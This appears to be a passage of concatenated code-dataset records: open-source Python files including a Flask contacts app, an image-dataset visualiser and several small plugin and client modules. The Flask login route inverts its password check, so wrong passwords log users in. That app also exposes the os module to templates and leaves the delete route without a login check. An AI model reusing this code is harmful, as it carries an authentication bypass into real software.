user attempting to close a dialog-based user interface.\n \"\"\"\n if is_ok:\n self.apply()\n return super(PreferencesPane, self).close(info, is_ok)\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "import setuptools\n\nwith open(\"README.md\", \"r\", encoding=\"UTF-8\") as f:\n long_description = f.read()\n\nsetuptools.setup(\n name=\"discord-py-interactions\",\n version=\"1.2.0\",\n author=\"hpenney2\",\n author_email=\"hpenney1010@gmail.com\",\n description=\"A fork of discord-py-slash-command for all interaction types.\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/hpenney2/discord-py-interactions\",\n packages=setuptools.find_packages(),\n python_requires='>=3.6',\n classifiers=[\n \"Programming Language :: Python :: 3\"\n ]\n)\n", "source": "hpenney2/discord-py-slash-command", "license": "MIT"} {"text": "\"\"\"Utils for main menu.\n\nThis module contains functions for initializing main menu.\n\nThis file can also be imported as a module and contains the following functions:\n * main_menu - print main menu\n\"\"\"\n\n\nimport sys\n\n\nfrom src.utils.check_loved_tracks import check_loved_tracks\nfrom src.utils.check_playlist_tracks import check_playlist_tracks\nfrom src.utils.credentials_manager import credentials_checker\nfrom src.utils.get_users_playlists import get_users_playlists\nfrom src.utils.login_to_spotify import login_to_spotify\n\n\ndef main_menu() -> None:\n \"\"\"Print main menu.\n\n This function handles printing available options and getting\n input from user to run certain check functions.\n\n Args:\n sp (spotipy.oauth2.SpotifyOAuth): Spotify OAuth object\n \"\"\"\n\n credits_data = credentials_checker()\n spotify_oauth = login_to_spotify(credits_data)\n\n print(\"=== Welcome to SpotiChecker! ===\\n\")\n while True:\n print(\"========= Menu Options =========\")\n print(\"Choose option to continue:\")\n print('1. Check your \"Loved Tracks\"')\n print(\"2. Check your created playlists\")\n print(\"3. Check playlist by ID\")\n print(\"0. Exit\")\n try:\n option = int(input(\"> \"))\n except ValueError:\n print(\"[Error] You entered something other than the number. Try again\\n\")\n continue\n if option == 1:\n check_loved_tracks(spotify_oauth)\n elif option == 2:\n get_users_playlists(spotify_oauth)\n elif option == 3:\n playlist_id = input(\"\\nEnter playlist ID: \")\n check_playlist_tracks(spotify_oauth, playlist_id)\n elif option == 0:\n print(\"=== See you soon! ===\")\n sys.exit()\n else:\n print(\"[Error] You entered wrong option number. Try again\\n\")\n continue\n", "source": "SecondThundeR/spotichecker", "license": "MIT"} {"text": "#\n# GingaPlugin.py -- Base classes for plugins in Ginga reference viewer\n#\n# This is open-source software licensed under a BSD license.\n# Please see the file LICENSE.txt for details.\n#\nfrom ginga.misc import Bunch\n\nclass PluginError(Exception):\n pass\n\nclass GlobalPlugin(object):\n\n def __init__(self, fv):\n super(GlobalPlugin, self).__init__()\n self.fv = fv\n self.logger = fv.logger\n\n # Holds GUI widgets\n self.w = Bunch.Bunch()\n\n def initialize(self, container):\n \"\"\"This method will be called with a container widget if the global\n plugin was requested to be loaded into a workspace. The plugin should\n construct its GUI and pack it into the container.\n \"\"\"\n pass\n\n def start(self):\n \"\"\"This method is called to start the plugin. It is called after\n build_gui().\n \"\"\"\n pass\n\n def stop(self):\n \"\"\"This method is called to stop the plugin.\n \"\"\"\n pass\n\n def redo(self, channel, image):\n \"\"\"This method is called when an image is set in a channel.\n \"\"\"\n pass\n\n\nclass LocalPlugin(object):\n\n def __init__(self, fv, fitsimage):\n super(LocalPlugin, self).__init__()\n self.fv = fv\n self.logger = fv.logger\n self.fitsimage = fitsimage\n\n # find our channel info\n if self.fitsimage is not None:\n self.chname = self.fv.get_channel_name(self.fitsimage)\n self.channel = self.fv.get_channel(self.chname)\n # TO BE DEPRECATED\n self.chinfo = self.channel\n\n # Holds GUI widgets\n self.w = Bunch.Bunch()\n\n def modes_off(self):\n # turn off any mode user may be in\n bm = self.fitsimage.get_bindmap()\n bm.reset_mode(self.fitsimage)\n\n # def build_gui(self, container):\n # \"\"\"If a plugin defines this method, it will be called with a\n # container object in which to build its GUI. It should finish\n # by packing into this container. This will be called every\n # time the local plugin is activated.\n # \"\"\"\n # pass\n\n def start(self):\n \"\"\"This method is called just after build_gui() when the plugin is\n activated.\n \"\"\"\n pass\n\n def stop(self):\n \"\"\"This method is called when the plugin is deactivated.\n \"\"\"\n pass\n\n def pause(self):\n \"\"\"This method is called when the plugin is defocused. The plugin\n should disable any user input that it responds to.\n \"\"\"\n pass\n\n def resume(self):\n \"\"\"This method is called when the plugin is focused. The plugin\n should enable any user input that it responds to.\n \"\"\"\n pass\n\n def redo(self):\n \"\"\"This method is called when a new image arrives in the channel\n associated with the plugin. It can optionally redo whatever operation\n it is doing.\n \"\"\"\n pass\n\n\n#END\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "#This file is part of ElectricEye.\n#SPDX-License-Identifier: Apache-2.0\n\n#Licensed to the Apache Software Foundation (ASF) under one\n#or more contributor license agreements. See the NOTICE file\n#distributed with this work for additional information\n#regarding copyright ownership. The ASF licenses this file\n#to you under the Apache License, Version 2.0 (the\n#\"License\"); you may not use this file except in compliance\n#with the License. You may obtain a copy of the License at\n\n#http://www.apache.org/licenses/LICENSE-2.0\n\n#Unless required by applicable law or agreed to in writing,\n#software distributed under the License is distributed on an\n#\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n#KIND, either express or implied. See the License for the\n#specific language governing permissions and limitations\n#under the License.\nfrom processor.outputs.output_base import ElectricEyeOutput\n\ndef process_findings(findings: list, outputs: list, **kwargs):\n \"\"\"Process all findings from json file and send to outputs sepecified\"\"\"\n for output in outputs:\n try:\n ElectricEyeOutput.get_provider(output)().write_findings(findings=findings, **kwargs)\n except Exception as e:\n print(f\"Error writing output: {e}\")\n raise e\n\ndef get_providers():\n return ElectricEyeOutput.get_all_providers()", "source": "kbhagi/ElectricEye", "license": "Apache-2.0"} {"text": "from ContactsSafe import app\nfrom ContactsSafe import db\nfrom flask import render_template, request, flash, redirect, url_for\nfrom ContactsSafe.forms import LoginForm, RegistrationForm, Add_contacts\nfrom ContactsSafe.database import User, UserAddContacts\nfrom flask_login import login_user, logout_user, login_required, current_user\nfrom werkzeug.urls import url_parse\nimport datetime, calendar, json, os\n\n# THIS FUNCTION ALLOWS US TO USE PYTHON MODULES IN WEBPAGES THROUGH JINJA2 TEMPLATING\n@app.context_processor\ndef handle_context():\n\treturn dict(os=os)\n\n\n@app.errorhandler(404)\ndef error404(e):\n\treturn render_template(\"error_404.html\")\n\n\n@app.route('/aboutUs')\ndef aboutUs():\n\treturn render_template(\"aboutUs.html\")\n\n\n@app.route('/')\ndef landingpage():\n\treturn render_template(\"landingPage.html\")\n\n#following route leads to addcontacts.html which contains a form, which enables user to add a contact to his savedcontacts\n@app.route('/addcontacts', methods=['GET', 'POST'])\n@login_required #ensures user is logged in before he can access this route\ndef addcontacts():\n form = Add_contacts()\n if request.method == 'POST':\n if form.validate_on_submit():\n contact = UserAddContacts(name = form.name.data, nickname = form.nickname.data, homephone = form.homephone.data, personal = form.personal.data, work = form.work.data, email = form.email.data, address = form.address.data, work_info = form.work_info.data, relationship = form.relationship.data, additional_notes = form.additional_notes.data, owner_id=current_user.id) #uses data taken from form to create row\n db.session.add(contact) #adds row to db file\n db.session.commit()\n flash('User added', category = \"success\")\n return redirect(url_for('index'))\n else:\n flash(format(form.errors))\n return render_template(\"addcontacts.html\", form=form, errors = form.errors)\n\n\n@app.route(\"/login\", methods=['GET', 'POST'])\ndef login():\n form = LoginForm()\n if request.method == 'POST':\n if form.validate_on_submit():\n user = User.query.filter_by(username=form.name.data).first() \n if user is None:\n flash(\"No such user\", category=\"danger\")\n return redirect(url_for('login')) \n\n elif user.check_password(form.password.data):\n flash(\"Wrong password\", category=\"danger\")\n return redirect(url_for('login')) \n \n else:\n login_user(user, remember=form.remember_me.data)\n nextpage = request.args.get(\"next\")\n if not nextpage or url_parse(nextpage).netloc != \"\":\n nextpage = url_for('index') \n\n return redirect(nextpage)\n\n return render_template(\"login.html\", form=form) \n\n\n@app.route(\"/profilePage\")\n@login_required\ndef ProfilePage():\n return render_template(\"ProfilePage.html\")\n\n\n@app.route(\"/logout\")\n@login_required\ndef logout():\n\tlogout_user() #in-built function from Flask-Login alowing user to logout\n\tflash(\"You are logged out!\", category=\"success\") \n\treturn redirect(url_for(\"login\"))\n\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n form = RegistrationForm(request.form) #form used on register page called 'RegistrationForm'\n\n if request.method == 'POST': #if person using POST request method (i.e. trying to submit the form)\n\n if form.validate_on_submit(): #if all validators defined in forms (in forms.py) are satisfied\n\n user = User(username=form.name.data, email=form.email.data, password=form.password.data) #create row called user with data from form submitted by user\n db.session.add(user) #add this row to db\n print(\"user\", user)\n db.session.commit() \n flash('Thanks for registering')\n return redirect(url_for('login'))\n else:\n flash(format(form.errors)) #returns a dictionary of the errors\n return render_template('register.html', form=form, errors = form.errors)\n\n@app.route('/savedcontacts')\n@login_required\ndef index():\n Contacts = UserAddContacts.query.filter_by(owner_id=current_user.id).order_by(UserAddContacts.name).all()\n return render_template('savedcontacts.html', Contacts=Contacts)\n\n\n@app.route(\"/PrivacyPolicy\")\ndef PrivacyPolicy():\n\treturn render_template(\"privacypolicy.html\")\n\n@app.route(\"/delete/\")\ndef delete(contact_id):\n tobedeleted = UserAddContacts.query.filter_by(owner_id=current_user.id, id = contact_id).first() #returns rows of contact data that belong to current user\n if tobedeleted: \n db.session.delete(tobedeleted) #delete that particular row of contact data\n db.session.commit()\n flash(\"Contact deleted successfully\", category=\"success\")\n else:\n flash(\"No such task\", category=\"danger\")\n return redirect(url_for('index'))\n\n@app.route(\"/update/\", methods=['GET', 'POST'])\n@login_required\ndef updatetask(contact_id):\n form = Add_contacts()\n if request.method == 'GET':\n if contact_id:\n contact = UserAddContacts.query.filter_by(owner_id=current_user.id, id = contact_id).first()\n form.name.data = contact.name\n form.nickname.data = contact.nickname \n form.homephone.data = contact.homephone\n form.personal.data = contact.personal\n form.work.data = contact.work\n form.email.data = contact.email\n form.address.data = contact.address\n form.work_info.data = contact.work_info\n form.relationship.data = contact.relationship\n form.additional_notes.data = contact.additional_notes\n else:\n flash('No such record')\n else:\n if form.validate_on_submit():\n contact = UserAddContacts.query.filter_by(owner_id=current_user.id, id = contact_id).first()\n contact.name = form.name.data \n contact.nickname = form.nickname.data \n contact.homephone = form.homephone.data \n contact.personal = form.personal.data \n contact.email = form.email.data\n contact.address = form.address.data \n contact.work_info=form.work_info.data \n contact.relationship = form.relationship.data \n contact.additional_notes = form.additional_notes.data \n db.session.commit()\n flash(\"Contact updated successfully\", category=\"success\")\n return redirect(url_for(\"index\"))\n else:\n flash(\"Failure to submit form {}\".format(form.errors))\n return render_template('addcontacts.html', form=form)\n\n", "source": "GarvBatra123/Contact-Safe", "license": "MIT"} {"text": "from __future__ import division\nimport sys\n\ntry:\n from pathlib import Path\nexcept ImportError:\n from pathlib2 import Path\n\nimport numpy as np\nfrom PIL import ImageDraw, ImageFont, Image, ImageChops\n\nfrom tqdm import tqdm\n\n\ndef get_default_font(text_size):\n \"\"\"Method to get a default font to render targets with text\n\n Args:\n text_size (int): text size in pixels\n\n Returns:\n PIL.ImageFont\n \"\"\"\n assert isinstance(text_size, int) and text_size > 0, \"Text size should be positive integer\"\n try:\n return ImageFont.truetype(font=\"DejaVuSans.ttf\", size=text_size)\n except OSError:\n font_path = Path(__file__).parent / \"fonts\" / \"DejaVuSans.ttf\"\n return ImageFont.truetype(font=font_path.as_posix(), size=text_size)\n\n\ndef render_datapoint(img, target=None, image_id=None, output_size=None,\n text_color=(0, 255, 0), text_size=10,\n geom_color=(0, 255, 0), blend_alpha=0.7):\n \"\"\"Method to render image and target as PIL image\n\n Args:\n img (PIL.Image.Image or np.ndarray): input image\n target (optional): text as `str` or polygons as `ndarray` of shape (N, 2) or polygons points with labels as\n pairs (`ndarray` of shape (N, 2), `str`), or segmentation masks as `ndarray` of shape (h, w, 3),\n type `uint8` or `PIL.Image.Image` with mode 'RGB'. Target can be also a tuple/list of all these basic types.\n See note below how to override target rendering parameters for a subset of targets.\n image_id (str, optional): Image id to write in the output image\n output_size (list, optional): output image maximum size. If input image height or width is larger\n than output_size, output image is rescaled with aspect ratio preserved.\n text_color (list, optional): text color (R, G, B) if target contains a text\n text_size (int, optional): text size if target contains a text.\n geom_color (int, optional): geometry color (R, G, B) if target contains polygons to draw\n blend_alpha (float): alpha for blending mask image into the input image\n\n\n Note:\n It is possible to override target rendering parameters (`text_color`, `text_size`, `geom_color`, ...) for a\n single or a subset of input target. Below there is an example on how to draw a mask, 3 bboxes such that 2 of\n bboxes have yellow outline and the third bbox is drawn with default parameters:\n\n .. code-block:: python\n\n import numpy as np\n from image_dataset_viz import render_datapoint, bbox_to_points\n\n\n img = ((0, 0, 255) * np.ones((256, 256, 3))).astype(np.uint8)\n mask = 0 * np.ones((256, 256, 3), dtype=np.uint8)\n mask[34:145, 56:123, :] = 255\n\n targets = (\n (mask, {\"blend_alpha\": 0.6}),\n (\n (bbox_to_points((10, 12, 145, 156)), \"A\"),\n (bbox_to_points((109, 120, 215, 236)), \"B\"),\n {\"geom_color\": (255, 255, 0)}\n ),\n (bbox_to_points((129, 140, 175, 186)), \"C\"),\n )\n\n\n render_datapoint(img, targets, blend_alpha=0.5)\n\n Returns:\n PIL.Image.Image\n \"\"\"\n # Open input image\n check_image_type(img)\n if target is not None:\n check_target_type(target)\n\n if image_id is not None:\n assert isinstance(image_id, str), \"Image id should be a string\"\n\n if target is not None or image_id is not None:\n assert isinstance(text_color, (list, tuple)) and len(text_color) == 3, \\\n \"Text color should be a list of 3 integers\"\n assert isinstance(text_size, int) and text_size > 0, \\\n \"Text size should be a positive integer\"\n\n img = to_pil(img)\n if output_size is not None:\n assert isinstance(output_size, (list, tuple)) and \\\n len(output_size) == 2, \"output_size should be a list of 2 integers\".format(img.size)\n img, scale = resize_image(img, output_size)\n else:\n img = img.copy()\n scale = 1.0\n\n if target is not None:\n # Render target\n img = render_target(img, target, scale=scale, text_color=text_color,\n text_size=text_size, geom_color=geom_color, blend_alpha=blend_alpha)\n\n # Write image id\n if image_id is not None:\n font = get_default_font(text_size)\n write_text(img, image_id, (1, img.size[1]), color=text_color, font=font)\n return img\n\n\nclass DatasetExporter:\n \"\"\"\n Helper class to export dataset of images/targets as a few large images for better visualization.\n\n For example, we have a dataset of image files and annotations files (polygons with labels):\n ```\n img_files = [\n '/path/to/image_1.ext',\n '/path/to/image_2.ext',\n ...\n '/path/to/image_1000.ext',\n ]\n target_files = [\n '/path/to/target_1.ext2',\n '/path/to/target_2.ext2',\n ...\n '/path/to/target_1000.ext2',\n ]\n ```\n We can produce a single image composed of 20x50 small samples with targets to better visualize the whole dataset.\n Let's assume that we do need a particular processing to open the images in RGB 8bits format:\n ```\n from PIL import Image\n\n def read_img_fn(img_filepath):\n return Image.open(img_filepath).convert('RGB')\n ```\n and let's say the annotations are just lines with points and a label, e.g. `12 23 34 45 56 67 car`\n ```\n import numpy as np\n\n def read_target_fn(target_filepath):\n with Path(target_filepath).open('r') as handle:\n points_labels = []\n while True:\n line = handle.readline()\n if len(line) == 0:\n break\n splt = line[:-1].split(' ') # Split into points and labels\n label = splt[-1]\n points = np.array(splt[:-1]).reshape(-1, 2)\n points_labels.append((points, label))\n return points_labels\n ```\n Now we can export the dataset\n ```\n de = DatasetExporter(read_img_fn=read_img_fn, read_target_fn=read_target_fn,\n img_id_fn=lambda fp: Path(fp).stem, n_cols=20)\n de.export(img_files, target_files, output_folder=\"dataset_viz\")\n ```\n and thus we should obtain a single png image with composed of 20x50 small samples.\n \"\"\"\n\n def __init__(self, read_img_fn=None, read_target_fn=None, img_id_fn=None,\n max_output_img_size=(256, 256), margins=(5, 5),\n n_cols=10, max_n_rows=50,\n background_color=(127, 127, 120),\n text_color=(255, 245, 235), text_size=11,\n geom_color=(0, 255, 0),\n blend_alpha=0.75):\n \"\"\"\n Initialize dataset exporter instance\n\n Args:\n read_img_fn (callable, optional): it specified, it should return image as `ndarray` of shape (h, w, 3),\n type `uint8` or `PIL.Image.Image` with mode 'RBG'. By default, `imread_pillow` function is used.\n read_target_fn (callable, optional): if specified, it can return text as `str`, polygons as\n `ndarray` of shape (N, 2), polygons points with labels as pair\n (`ndarray` of shape (N, 2), `str`), or segmentation masks as `ndarray` of shape (h, w, 3), type `uint8`\n or `PIL.Image.Image` with mode 'RGB'. Target can also a tuple/list of all these basic types.\n By default, identity function is used.\n img_id_fn (callable): optional, transforms image filepath to image id string displayed over each sample\n max_output_img_size (tuple of 2 integers): sample maximum size in the output image\n margins (tuple of 2 integers): margins between samples\n n_cols (int): number of columns in the output image\n max_n_rows (int): maximum number of rows of samples in the output image. If dataset is really big, thus we\n produce several output images instead of a single tower-like image.\n background_color (tuple or list): background color (R, G, B) if margin is not zero\n text_color (tuple or list): text color (R, G, B) used to draw image id and other labels\n text_size (int): text size\n geom_color (int, optional): geometry color (R, G, B) if target contains polygons to draw\n blend_alpha (float): alpha used to blend\n\n \"\"\"\n self.read_img_fn = read_img_fn if read_img_fn is not None else imread_pillow\n self.read_target_fn = read_target_fn if read_target_fn is not None else identity\n self.img_id_fn = img_id_fn if img_id_fn is not None else default_img_id\n self.max_output_img_size = max_output_img_size\n self.margins = margins\n self.n_cols = n_cols\n self.max_n_rows = max_n_rows\n self.background_color = background_color\n self.text_color = text_color\n self.text_size = text_size\n self.geom_color = geom_color\n self.blend_alpha = blend_alpha\n # Test if can create a font\n self.default_font = get_default_font(text_size)\n\n def export_datapoint(self, img_file, target, output_filepath):\n \"\"\"\n Export a single sample. This method can be used to test sample rendering\n\n Args:\n img_file: input image index, filepath, everything acceptable by `read_img_fn`\n target: input target index, filepath, everything acceptable by `read_target_fn`\n or None if not needed\n output_filepath: output filepath\n\n Returns:\n\n \"\"\"\n check_img_id_fn(self.img_id_fn, img_file)\n raw_img = self.read_img_fn(img_file)\n image_id = self.img_id_fn(img_file)\n if target is not None:\n target = self.read_target_fn(target)\n\n img = render_datapoint(raw_img, target, image_id=image_id, output_size=self.max_output_img_size,\n text_color=self.text_color, text_size=self.text_size,\n geom_color=self.geom_color, blend_alpha=self.blend_alpha)\n\n filepath = Path(output_filepath)\n if filepath.suffix != \".png\":\n filepath = Path(filepath.as_posix() + \".png\")\n img.save(filepath)\n\n def export(self, img_files, targets, output_folder, filename_prefix=\"dataset\"):\n \"\"\"\n Method to export the dataset represented by `img_files` and `targets`\n Args:\n img_files: list of image indices, paths, everything acceptable by `read_img_fn`\n targets: list of targets, indices, paths, everything acceptable by `read_target_fn`\n or None if not needed\n output_folder: (str) output folder path\n filename_prefix: (str) output large output image filename prefix. Output filename is\n `filename_prefix + \"_part_x.png\"`\n Returns:\n\n \"\"\"\n assert isinstance(img_files, (list, tuple)), \\\n \"Arguments `img_files` should be lists or tuples\"\n if targets is not None:\n assert isinstance(targets, (list, tuple)), \\\n \"Arguments `targets` should be lists or tuples\"\n assert len(img_files) == len(targets), \\\n \"Number of input images should be equal to the number of input targets\"\n else:\n targets = [None] * len(img_files)\n\n output = Path(output_folder)\n if not output.exists():\n output.mkdir(parents=True)\n\n n_rows = max(min(int(np.ceil(len(img_files) / self.n_cols)), self.max_n_rows), 1)\n total_width = (self.max_output_img_size[0] + self.margins[0]) * self.n_cols\n total_height = (self.max_output_img_size[0] + self.margins[0]) * n_rows\n size = (total_width, total_height)\n n_images = len(img_files)\n max_counter = n_rows * self.n_cols\n\n with get_tqdm(total=n_images) as bar:\n for c in range(0, n_images, max_counter):\n total_img = Image.new(mode='RGB', size=size, color=self.background_color)\n filepath = output / (filename_prefix + \"_part_{}.png\".format(c))\n for i, (f, t) in enumerate(zip(img_files[c:c + max_counter], targets[c:c + max_counter])):\n iy, ix = np.unravel_index(i, (n_rows, self.n_cols))\n x = ix * (self.max_output_img_size[0] + self.margins[0]) + self.margins[0] // 2\n y = iy * (self.max_output_img_size[1] + self.margins[1]) + self.margins[1] // 2\n\n raw_img = self.read_img_fn(f)\n image_id = self.img_id_fn(f)\n target = self.read_target_fn(t)\n img = render_datapoint(raw_img, target, image_id=image_id, output_size=self.max_output_img_size,\n text_color=self.text_color, text_size=self.text_size,\n geom_color=self.geom_color, blend_alpha=self.blend_alpha)\n total_img.paste(img, (x, y))\n bar.update(1)\n total_img.save(filepath.as_posix())\n\n\ndef render_target(img, target, scale=1.0, text_color=(255, 255, 0), text_size=10,\n geom_color=(0, 255, 0), blend_alpha=0.7):\n \"\"\"Method to render target to the image\n\n Args:\n img (PIL.Image.Image or np.ndarray): input image\n target: text as `str`, polygon as `ndarray` of shape (N, 2), polygon with labels as pair\n (`ndarray` of shape (N, 2), `str`), or segmentation masks as `ndarray` of shape (h, w, 3), type `uint8` or\n `PIL.Image.Image` with mode 'RGB'. Target can also a tuple/list of all these basic types.\n scale (float, optional): if scale is different of 1.0 then rescale the target.\n text_color (list, optional): text color (R, G, B) if target contains a text.\n text_size (int, optional): text size if target contains a text.\n geom_color (int, optional): geometry color (R, G, B) if target contains polygons to draw.\n blend_alpha (float): alpha for blending mask image into the input image.\n\n Returns:\n PIL.Image.Image\n \"\"\"\n check_image_type(img)\n check_target_type(target)\n assert isinstance(text_color, (list, tuple)) and len(text_color) == 3, \\\n \"Text color should be a list of 3 integers\"\n assert isinstance(text_size, int) and text_size > 0, \\\n \"Text size should be a positive integer\"\n assert isinstance(geom_color, (list, tuple)) and len(geom_color) == 3, \\\n \"Geometry color should be a list of 3 integers\"\n assert isinstance(blend_alpha, float) and 0.0 <= blend_alpha <= 1.0, \\\n \"Alpha should be a positive float between 0 and 1\"\n assert isinstance(scale, float) and scale > 0.0, \\\n \"Scale should be a positive float\"\n img = to_pil(img)\n\n def _render_points(img, target, color=(0, 255, 0)):\n target = [(int(p[0] / scale), int(p[1] / scale)) for p in target]\n draw_poly(img, target, color=color)\n\n def _render_points_with_label(img, target, font, color=(0, 255, 0)):\n poly = target[0]\n poly = [(int(p[0] / scale), int(p[1] / scale)) for p in poly]\n draw_poly(img, poly, color=color)\n pos = np.max(poly, axis=0).tolist()\n write_obj_label(img, pos, label=target[1], font=font)\n\n def _recursive_render_target(img, target, **kwargs):\n\n _text_color = kwargs.get(\"text_color\", text_color)\n _text_size = kwargs.get(\"text_size\", text_size)\n _geom_color = kwargs.get(\"geom_color\", geom_color)\n _blend_alpha = kwargs.get(\"blend_alpha\", blend_alpha)\n\n if isinstance(target, str):\n font = get_default_font(_text_size)\n write_text(img, target, (1, 1), color=_text_color, font=font)\n return img\n elif is_points(target):\n _render_points(img, target, _geom_color)\n return img\n elif is_points_with_labels(target):\n font = get_default_font(_text_size)\n _render_points_with_label(img, target, font, _geom_color)\n return img\n elif is_ndarray_image(target) or is_pil_image(target):\n mask = to_pil(target)\n if scale != 1.0:\n # Rescale mask\n mask = mask.resize(img.size)\n inv_bin_mask = Image.eval(mask.convert(\"L\"), lambda p: 0 if p > 0 else 255).convert(\"RGB\")\n img_plus_mask = ImageChops.add(ImageChops.multiply(img, inv_bin_mask), mask)\n return Image.blend(img, img_plus_mask, alpha=_blend_alpha)\n elif isinstance(target, (tuple, list)):\n # check if there is dict of kwargs is present\n kwargs = {}\n _target = []\n for t in target:\n if isinstance(t, dict):\n kwargs = t\n continue\n _target.append(t)\n for t in _target:\n img = _recursive_render_target(img, t, **kwargs)\n return img\n else:\n raise TypeError(\"Unknown target type: {}\".format(type(target)))\n\n return _recursive_render_target(img, target)\n\n\ndef get_tqdm_kwargs(**kwargs):\n \"\"\"\n Return default arguments to be used with tqdm.\n Args:\n kwargs: extra arguments to be used.\n Returns:\n dict:\n \"\"\"\n default = dict(\n smoothing=0.5,\n dynamic_ncols=True,\n ascii=True,\n bar_format='{l_bar}{bar}|{n_fmt}/{total_fmt}[{elapsed}<{remaining},{rate_noinv_fmt}]'\n )\n\n f = kwargs.get('file', sys.stderr)\n isatty = f.isatty()\n # NOTE when run under mpirun/slurm, isatty is always False\n # Jupyter notebook should be recognized as tty.\n # Wait for https://github.com/ipython/ipykernel/issues/268\n try:\n from ipykernel import iostream\n if isinstance(f, iostream.OutStream):\n isatty = True\n except ImportError:\n pass\n\n if isatty:\n default['mininterval'] = 0.5\n else:\n # If not a tty, don't refresh progress bar that often\n default['mininterval'] = 180\n default.update(kwargs)\n return default\n\n\ndef get_tqdm(**kwargs):\n \"\"\"Similar to `get_tqdm_kwargs`, but returns the tqdm object directly.\"\"\"\n return tqdm(**get_tqdm_kwargs(**kwargs))\n\n\ndef imread_pillow(fp):\n return Image.open(fp)\n\n\ndef identity(y):\n return y\n\n\ndef default_img_id(fp):\n return Path(fp).stem[:50]\n\n\ndef resize_image(img, max_output_img_size):\n w, h = img.size\n f = 1.0\n if w > max_output_img_size[0] or h > max_output_img_size[1]:\n f = max(w / max_output_img_size[0], h / max_output_img_size[1])\n ow = int(w / f)\n oh = int(h / f)\n img = img.resize((ow, oh))\n return img, f\n\n\ndef update_pos(pos, text_size, w, h):\n pos = list(pos)\n if pos[0] + text_size[0] > w:\n pos[0] = w - text_size[0]\n if pos[1] + text_size[1] > h:\n pos[1] = h - text_size[1]\n return pos\n\n\ndef write_text(img, text, pos, color, font, max_line_length=30):\n draw = ImageDraw.Draw(img)\n\n if len(text) > max_line_length:\n ll = len(text)\n mltext = [text[c:c + max_line_length] for c in range(0, ll, max_line_length)]\n text = \"\\n\".join(mltext)\n\n text_size = draw.textsize(text, font=font)\n pos = update_pos(pos, text_size, *img.size)\n draw.multiline_text(pos, text, color, font=font)\n\n\ndef draw_poly(img, points, color=(0, 255, 0)):\n draw = ImageDraw.Draw(img)\n draw.polygon(points, outline=color)\n\n\ndef write_obj_label(img, pos, label, font):\n draw = ImageDraw.Draw(img)\n text_size = draw.textsize(label, font=font)\n pos = update_pos(pos, text_size, *img.size)\n rect = (tuple(pos), (pos[0] + text_size[0], pos[1] + text_size[1]))\n draw.rectangle(rect, fill=(0, 0, 0))\n draw.text(tuple(pos), label, font=font, fill=(255, 255, 255))\n\n\ndef is_ndarray_image(img):\n return isinstance(img, np.ndarray) and img.ndim == 3 and img.shape[2] == 3 and img.dtype == np.uint8\n\n\ndef is_pil_image(img):\n return isinstance(img, Image.Image) and img.mode in ('RGB', )\n\n\ndef is_points(target):\n return isinstance(target, np.ndarray) and target.ndim == 2 and target.shape[1] == 2\n\n\ndef is_list_of_points(target):\n return isinstance(target, (list, tuple)) and all([is_points(t) for t in target])\n\n\ndef is_points_with_labels(target):\n return isinstance(target, (tuple, list)) and len(target) == 2 and \\\n isinstance(target[1], str) and is_points(target[0])\n\n\ndef is_list_of_points_with_labels(target):\n return isinstance(target, (list, tuple)) and all([is_points_with_labels(t) for t in target])\n\n\ndef check_image_type(img):\n assert is_ndarray_image(img) or \\\n is_pil_image(img), \"Image should be `ndarray` of shape (h, w, 3), type `uint8` or\" + \\\n \"`PIL.Image.Image` with mode 'RBG', but given {}\".format(type(img))\n\n\ndef is_basic_target_type(target):\n is_basic_type = isinstance(target, str) or \\\n is_points(target) or \\\n is_points_with_labels(target) or \\\n is_ndarray_image(target) or \\\n is_pil_image(target)\n args = [\n \"text_color\",\n \"text_size\",\n \"geom_color\",\n \"blend_alpha\"\n ]\n is_kwargs = isinstance(target, dict) and any([arg in target for arg in args])\n return is_basic_type or is_kwargs\n\n\ndef is_list_of_basic_types(target):\n if isinstance(target, (tuple, list)):\n output = True\n for t in target:\n output &= is_list_of_basic_types(t)\n return output\n else:\n return is_basic_target_type(target)\n\n\ndef check_target_type(target):\n assert is_list_of_basic_types(target) or is_basic_target_type(target), \\\n \"Target should be a text as `str`, points as list of `ndarray`s of shape (N, 2),\" + \\\n \"points with labels as list of pairs (`ndarray` of shape (N, 2), `str`)\" + \\\n \"or segmentation masks as `ndarray` of shape (h, w, 3), type `uint8` or \" + \\\n \"`PIL.Image.Image` with mode 'RGB'. \" + \\\n \"Target can be also a tuple/list of all this basic types. but given {}\".format(type(target))\n\n\ndef to_pil(img):\n if isinstance(img, np.ndarray):\n return Image.fromarray(img)\n elif isinstance(img, Image.Image):\n return img\n\n\ndef check_img_id_fn(img_id_fn, f):\n try:\n ret = img_id_fn(f)\n except Exception as e:\n raise TypeError(\"There is a problem with provided `img_id_fn`: {}\".format(e))\n assert isinstance(ret, str), \"Output of `img_id_fn` should be a string\"\n", "source": "vfdev-5/ImageDatasetViz", "license": "MIT"} {"text": "import abc\n\n\nclass MountebankClient(object):\n __metaclass__ = abc.ABCMeta\n\n @abc.abstractmethod\n def activate_impostor(self, impostor):\n pass\n\n @abc.abstractmethod\n def deactivate_impostor(self, impostor):\n pass\n\n @abc.abstractmethod\n def send_to_impostor(self, impostor, **kwargs):\n pass\n\n @abc.abstractmethod\n def get_impostor(self, impostor):\n pass\n\n @abc.abstractmethod\n def __enter__(self):\n pass\n\n @abc.abstractmethod\n def __exit__(self, *args, **kwargs):\n pass\n", "source": "ginjeni1/mountequist", "license": "MIT"} {"text": "#!/usr/bin/env python3\n\n# Copyright (c) Facebook, Inc. and its affiliates.\n# All rights reserved.\n\n# This source code is licensed under the license found in the\n# LICENSE file in the root directory of this source tree.\n\nimport logging\nimport pickle\n\nimport torch\nimport torch.nn as nn\nimport numpy as np\nimport torchvision.models as models\n\nfrom habitat import logger\n\nfrom soundspaces.tasks.nav import SpectrogramSensor, LocationBelief, CategoryBelief, Category\nfrom ss_baselines.saven.models.smt_resnet import custom_resnet18\n\n\nclass DecentralizedDistributedMixinBelief:\n def init_distributed(self, find_unused_params: bool = True) -> None:\n r\"\"\"Initializes distributed training for the model\n\n 1. Broadcasts the model weights from world_rank 0 to all other workers\n 2. Adds gradient hooks to the model\n\n :param find_unused_params: Whether or not to filter out unused parameters\n before gradient reduction. This *must* be True if\n there are any parameters in the model that where unused in the\n forward pass, otherwise 